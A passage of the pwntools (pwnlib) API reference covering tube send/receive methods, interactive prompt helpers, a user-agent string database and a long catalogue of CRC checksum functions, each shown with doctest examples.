By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

recvrepeat()

Receives data until a timeout or EOF is reached.

Examples

```
>>> data = [
... 'd',
... '', # simulate timeout
... 'c',
... 'b',
... 'a',
... ]
>>> def delayrecv(n, data=data):
...     return data.pop()
>>> t = tube()
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
'abc'
>>> t.recv()
'd'
```

recvuntil (*delims*, *timeout = default*) → str

Receive data until one of *delims* is encountered.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Parameters

- **delims** (*str, tuple*) – String of delimiters characters, or list of delimiter strings.
- **drop** (*bool*) – Drop the ending. If `True` it is removed from the end of the return value.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello World!"
>>> t.recvuntil(' ')
'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil(tuple(' Wor'))
'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(' Wor')
'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(' Wor', drop=True)
'Hello'

>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello|World"
>>> t.recvuntil('|', drop=True)
'Hello'
```

send (*data*)

Sends data.

If log level `DEBUG` is enabled, also prints out the data received.

If it is not possible to send anymore because of a closed connection, it raises `exceptions.EOFError`

Examples

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.send('hello')
'hello'
```

sendafter (*delim*, *data*, *timeout = default*) → str

A combination of `recvuntil(delim, timeout)` and `send(data)`.

sendline (*data*)

Shorthand for `t.send(data + t.newline)`.

Examples

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline('hello')
'hello\n'
>>> t.newline = '\r\n'
>>> t.sendline('hello')
'hello\r\n'
```

sendlineafter (*delim*, *data*, *timeout = default*) → str

A combination of `recvuntil(delim, timeout)` and `sendline(data)`.

sendlinethen (*delim*, *data*, *timeout = default*) → str

A combination of `sendline(data)` and `recvuntil(delim, timeout)`.

sendthen (*delim*, *data*, *timeout = default*) → str

A combination of `send(data)` and `recvuntil(delim, timeout)`.

settimeout (*timeout*)

Set the timeout for receiving operations. If the string "default" is given, then `context.timeout` will be used. If None is given, then there will be no timeout.

Examples

```
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
```

shutdown (*direction = "send"*)

Closes the tube for futher reading or writing depending on *direction*.

Parameters **direction** (*str*) – Which direction to close; "in", "read" or "recv" closes the tube in the ingoing direction, "out", "write" or "send" closes it in the outgoing direction.

Returns `None`

Examples

```
>>> def p(x): print x
>>> t = tube()
>>> t.shutdown_raw = p
>>> _=map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send'))
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"
```

shutdown_raw (*direction*)
Should not be called directly. Closes the tube for further reading or writing.

spawn_process (**args*, ***kwargs*)
Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as `subprocess.Popen`.

timeout_change ()
Informs the raw layer of the tube that the timeout has changed.

Should not be called directly.

Inherited from `Timeout`.

unrecv (*data*)
Puts the specified data back at the beginning of the receive buffer.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'hello'
>>> t.recv()
'hello'
>>> t.recv()
'hello'
>>> t.unrecv('world')
>>> t.recv()
'world'
>>> t.recv()
'hello'
```

wait ()
Waits until the tube is closed.

wait_for_close ()
Waits until the tube is closed.

2.22 `pwnlib.ui` — Functions for user interaction

`pwnlib.ui.`**`more`**`(`*text*`)`

Shows text like the command line tool `more`.

It not in term_mode, just prints the data to the screen.

Parameters **`text`** (*`str`*) – The text to show.

Returns `None`

`pwnlib.ui.`**`options`**`(`*prompt*, *opts*, *default=None*`)`

Presents the user with a prompt (typically in the form of a question) and a number of options.

Parameters

- **`prompt`** (*`str`*) – The prompt to show
- **`opts`** (*`list`*) – The options to show to the user
- **`default`** – The default option to choose

Returns The users choice in the form of an integer.

`pwnlib.ui.`**`pause`**`(`*n=None*`)`

Waits for either user input or a specific number of seconds.

`pwnlib.ui.`**`yesno`**`(`*prompt*, *default=None*`)`

Presents the user with prompt (typically in the form of question) which the user must answer yes or no.

Parameters

- **`prompt`** (*`str`*) – The prompt to show
- **`default`** – The default option; *True* means "yes"

Returns *True* if the answer was "yes", *False* if "no"

2.23 `pwnlib.useragents` — A database of useragent strings

Database of >22,000 user agent strings

`pwnlib.useragents.`**`getall`**`()` → str set

Get all the user agents that we know about.

Parameters **`None`** –

Returns A set of user agent strings.

Examples

```
>>> 'libcurl-agent/1.0' in getall()
True
>>> 'wget' in getall()
True
```

`pwnlib.useragents.`**`random`**`()` → str

Get a random user agent string.

Parameters **`None`** –

Returns A random user agent string selected from *getall()*.

```
>>> import random as randommod
>>> randommod.seed(1)
>>> random()
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; FunWebProducts-MyTotalSearch
```

2.24 `pwnlib.util.crc` — Calculating CRC-sums

Module for calculating CRC-sums.

Contains all crc implementations know on the interwebz. For most implementations it contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working direclty on bit polynomials.

The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of `'A'*40000`.

An obvious optimization would be to actually generate some lookup-tables.

`pwnlib.util.crc.`**`generic_crc`**(*data*, *polynom*, *width*, *init*, *refin*, *refout*, *xorout*)

A generic CRC-sum function.

This is suitable to use with: http://reveng.sourceforge.net/crc-catalogue/all.htm

The “check” value in the document is the CRC-sum of the string “123456789”.

Parameters

- **data** (*str*) – The data to calculate the CRC-sum of. This should either be a string or a list of bits.
- **polynom** (*int*) – The polynomial to use.
- **init** (*int*) – If the CRC-sum was calculated in hardware, then this would b the initial value of the checksum register.
- **refin** (*bool*) – Should the input bytes be reflected?
- **refout** (*bool*) – Should the checksum be reflected?
- **xorout** (*int*) – The value to xor the checksum with before outputting

`pwnlib.util.crc.`**`cksum`**(*data*) → int

Calculates the same checksum as returned by the UNIX-tool `cksum`.

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print cksum('123456789')
930766865
```

`pwnlib.util.crc.`**`find_crc_function`**(*data*, *checksum*)

Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all known CRC functions one after the other.

Parameters **data** (*str*) – Data for which the checksum is known.

Example

```
>>> find_crc_function('test', 46197)
[<function crc_crc_16_dnp at ...>]
```

`pwnlib.util.crc.`**`arc`**`(`*data*`)` → int

Calculates the arc checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print arc('123456789')
47933
```

`pwnlib.util.crc.`**`crc_10`**`(`*data*`)` → int

Calculates the crc_10 checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x233
- width = 10
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_10('123456789')
409
```

`pwnlib.util.crc.`**`crc_10_cdma2000`**`(`*data*`)` → int

Calculates the crc_10_cdma2000 checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x3d9

- width = 10
- init = 0x3ff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_10_cdma2000('123456789')
563
```

`pwnlib.util.crc.`**`crc_11`**(*data*) → int

Calculates the crc_11 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x385
- width = 11
- init = 0x1a
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_11('123456789')
1443
```

`pwnlib.util.crc.`**`crc_12_3gpp`**(*data*) → int

Calculates the crc_12_3gpp checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x80f
- width = 12
- init = 0x0
- refin = False
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_12_3gpp('123456789')
3503
```

pwnlib.util.crc.**crc_12_cdma2000**(*data*) → int

Calculates the crc_12_cdma2000 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xf13
- width = 12
- init = 0xfff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-cdma2000

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_12_cdma2000('123456789')
3405
```

pwnlib.util.crc.**crc_12_dect**(*data*) → int

Calculates the crc_12_dect checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x80f
- width = 12
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_12_dect('123456789')
3931
```

pwnlib.util.crc.**crc_13_bbc**(*data*) → int

Calculates the crc_13_bbc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1cf5

- width = 13
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_13_bbc('123456789')
1274
```

pwnlib.util.crc.**crc_14_darc**(*data*) → int

Calculates the crc_14_darc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x805
- width = 14
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_14_darc('123456789')
2093
```

pwnlib.util.crc.**crc_15**(*data*) → int

Calculates the crc_15 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4599
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_15('123456789')
1438
```

pwnlib.util.crc.**crc_15_mpt1327**(*data*) → int

Calculates the crc_15_mpt1327 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x6815
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x1

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_15_mpt1327('123456789')
9574
```

pwnlib.util.crc.**crc_16_aug_ccitt**(*data*) → int

Calculates the crc_16_aug_ccitt checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x1d0f
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_aug_ccitt('123456789')
58828
```

pwnlib.util.crc.**crc_16_buypass**(*data*) → int

Calculates the crc_16_buypass checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005

- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_buypass('123456789')
65256
```

pwnlib.util.crc.**crc_16_ccitt_false**(*data*) → int

Calculates the crc_16_ccitt_false checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_ccitt_false('123456789')
10673
```

pwnlib.util.crc.**crc_16_cdma2000**(*data*) → int

Calculates the crc_16_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xc867
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_cdma2000('123456789')
19462
```

pwnlib.util.crc.**crc_16_dds_110**(*data*) → int

Calculates the crc_16_dds_110 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x800d
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dds-110

Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_16_dds_110('123456789')
40655
```

pwnlib.util.crc.**crc_16_dect_r**(*data*) → int

Calculates the crc_16_dect_r checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x589
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x1

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-r

Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_16_dect_r('123456789')
126
```

pwnlib.util.crc.**crc_16_dect_x**(*data*) → int

Calculates the crc_16_dect_x checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x589

- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_dect_x('123456789')
127
```

`pwnlib.util.crc.`**`crc_16_dnp`**`(`*data*`)` → int

Calculates the crc_16_dnp checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3d65
- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_dnp('123456789')
60034
```

`pwnlib.util.crc.`**`crc_16_en_13757`**`(`*data*`)` → int

Calculates the crc_16_en_13757 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3d65
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_en_13757('123456789')
49847
```

pwnlib.util.crc.**crc_16_genibus**(*data*) → int

Calculates the crc_16_genibus checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = False
- refout = False
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_genibus('123456789')
54862
```

pwnlib.util.crc.**crc_16_maxim**(*data*) → int

Calculates the crc_16_maxim checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_maxim('123456789')
17602
```

pwnlib.util.crc.**crc_16_mcrf4xx**(*data*) → int

Calculates the crc_16_mcrf4xx checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_mcrf4xx('123456789')
28561
```

pwnlib.util.crc.**crc_16_riello**(*data*) → int

Calculates the crc_16_riello checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xb2aa
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-riello

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_riello('123456789')
25552
```

pwnlib.util.crc.**crc_16_t10_dif**(*data*) → int

Calculates the crc_16_t10_dif checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8bb7
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_16_t10_dif('123456789')
53467
```

`pwnlib.util.crc.`**`crc_16_teledisk`**`(`*data*`)` → int

Calculates the crc_16_teledisk checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0xa097
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-teledisk

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_16_teledisk('123456789')
4019
```

`pwnlib.util.crc.`**`crc_16_tms37157`**`(`*data*`)` → int

Calculates the crc_16_tms37157 checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x89ec
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-tms37157

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_16_tms37157('123456789')
9905
```

`pwnlib.util.crc.`**`crc_16_usb`**`(`*data*`)` → int

Calculates the crc_16_usb checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x8005

- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-usb

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_usb('123456789')
46280
```

pwnlib.util.crc.**crc_24**(*data*) → int

Calculates the crc_24 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x864cfb
- width = 24
- init = 0xb704ce
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.24

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_24('123456789')
2215682
```

pwnlib.util.crc.**crc_24_flexray_a**(*data*) → int

Calculates the crc_24_flexray_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5d6dcb
- width = 24
- init = 0xfedcba
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_24_flexray_a('123456789')
7961021
```

pwnlib.util.crc.**crc_24_flexray_b**(*data*) → int

Calculates the crc_24_flexray_b checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x5d6dcb
- width = 24
- init = 0xabcdef
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_24_flexray_b('123456789')
2040760
```

pwnlib.util.crc.**crc_31_philips**(*data*) → int

Calculates the crc_31_philips checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7
- width = 31
- init = 0x7fffffff
- refin = False
- refout = False
- xorout = 0x7fffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.31

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_31_philips('123456789')
216654956
```

pwnlib.util.crc.**crc_32**(*data*) → int

Calculates the crc_32 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7

- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.32

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32('123456789')
3421780262
```

pwnlib.util.crc.**crc_32_bzip2**(*data*) → int

Calculates the crc_32_bzip2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-bzip2

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32_bzip2('123456789')
4236843288
```

pwnlib.util.crc.**crc_32_mpeg_2**(*data*) → int

Calculates the crc_32_mpeg_2 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32_mpeg_2('123456789')
58124007
```

`pwnlib.util.crc.`**`crc_32_posix`**`(`*data*`)` → int

Calculates the crc_32_posix checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32-posix

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_32_posix('123456789')
1985902208
```

`pwnlib.util.crc.`**`crc_32c`**`(`*data*`)` → int

Calculates the crc_32c checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x1edc6f41
- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32c

Parameters **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_32c('123456789')
3808858755
```

`pwnlib.util.crc.`**`crc_32d`**`(`*data*`)` → int

Calculates the crc_32d checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0xa833982b

- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0xffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32d

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32d('123456789')
2268157302
```

pwnlib.util.crc.**crc_32q**(*data*) → int

Calculates the crc_32q checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x814141ab
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-32q

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_32q('123456789')
806403967
```

pwnlib.util.crc.**crc_3_rohc**(*data*) → int

Calculates the crc_3_rohc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3
- width = 3
- init = 0x7
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.3

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_3_rohc('123456789')
6
```

pwnlib.util.crc.**crc_40_gsm**(*data*) → int

Calculates the crc_40_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x4820009
- width = 40
- init = 0x0
- refin = False
- refout = False
- xorout = 0xffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.40

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_40_gsm('123456789')
910907393606
```

pwnlib.util.crc.**crc_4_itu**(*data*) → int

Calculates the crc_4_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3
- width = 4
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_4_itu('123456789')
7
```

pwnlib.util.crc.**crc_5_epc**(*data*) → int

Calculates the crc_5_epc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9

- width = 5
- init = 0x9
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_5_epc('123456789')
0
```

pwnlib.util.crc.**crc_5_itu**(*data*) → int

Calculates the crc_5_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x15
- width = 5
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-itu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_5_itu('123456789')
7
```

pwnlib.util.crc.**crc_5_usb**(*data*) → int

Calculates the crc_5_usb checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x5
- width = 5
- init = 0x1f
- refin = True
- refout = True
- xorout = 0x1f

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-usb

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_5_usb('123456789')
25
```

pwnlib.util.crc.**crc_64**(*data*) → int

Calculates the crc_64 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693
- width = 64
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_64('123456789')
7800480153909949255
```

pwnlib.util.crc.**crc_64_we**(*data*) → int

Calculates the crc_64_we checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693
- width = 64
- init = 0xffffffffffffffff
- refin = False
- refout = False
- xorout = 0xffffffffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_64_we('123456789')
7128171145767219210
```

pwnlib.util.crc.**crc_64_xz**(*data*) → int

Calculates the crc_64_xz checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x42f0e1eba9ea3693

- width = 64
- init = 0xffffffffffffffff
- refin = True
- refout = True
- xorout = 0xffffffffffffffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_64_xz('123456789')
11051210869376104954
```

pwnlib.util.crc.**crc_6_cdma2000_a**(*data*) → int

Calculates the crc_6_cdma2000_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x27
- width = 6
- init = 0x3f
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_6_cdma2000_a('123456789')
13
```

pwnlib.util.crc.**crc_6_cdma2000_b**(*data*) → int

Calculates the crc_6_cdma2000_b checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 6
- init = 0x3f
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_6_cdma2000_b('123456789')
59
```

pwnlib.util.crc.**crc_6_darc**(*data*) → int

Calculates the crc_6_darc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x19
- width = 6
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-darc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_6_darc('123456789')
38
```

pwnlib.util.crc.**crc_6_itu**(*data*) → int

Calculates the crc_6_itu checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x3
- width = 6
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_6_itu('123456789')
6
```

pwnlib.util.crc.**crc_7**(*data*) → int

Calculates the crc_7 checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x9

- width = 7
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print crc_7('123456789')
117
```

pwnlib.util.crc.**crc_7_rohc**(*data*) → int

Calculates the crc_7_rohc checksum.

This is simply the *generic_crc()* with these frozen arguments:

